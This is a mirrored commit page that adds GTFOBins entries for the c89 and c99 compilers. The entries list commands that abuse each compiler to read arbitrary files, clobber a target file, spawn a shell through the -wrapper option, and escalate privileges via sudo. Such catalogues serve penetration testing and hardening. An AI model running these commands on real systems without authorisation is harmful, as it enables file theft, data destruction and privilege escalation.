mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add c89 and c99
This commit is contained in:
parent
49086c50ca
commit
7c9c505542
15
_gtfobins/c89.md
Normal file
15
_gtfobins/c89.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
c89 -x c -E "$LFILE"
|
||||||
|
file-write: # XXX this should be file-delete
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_delete
|
||||||
|
c89 -xc /dev/null -o $LFILE
|
||||||
|
shell:
|
||||||
|
- code: c89 -wrapper /bin/sh,-s .
|
||||||
|
sudo:
|
||||||
|
- code: sudo c89 -wrapper /bin/sh,-s .
|
||||||
|
---
|
15
_gtfobins/c99.md
Normal file
15
_gtfobins/c99.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
c99 -x c -E "$LFILE"
|
||||||
|
file-write: # XXX this should be file-delete
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_delete
|
||||||
|
c99 -xc /dev/null -o $LFILE
|
||||||
|
shell:
|
||||||
|
- code: c99 -wrapper /bin/sh,-s .
|
||||||
|
sudo:
|
||||||
|
- code: sudo c99 -wrapper /bin/sh,-s .
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user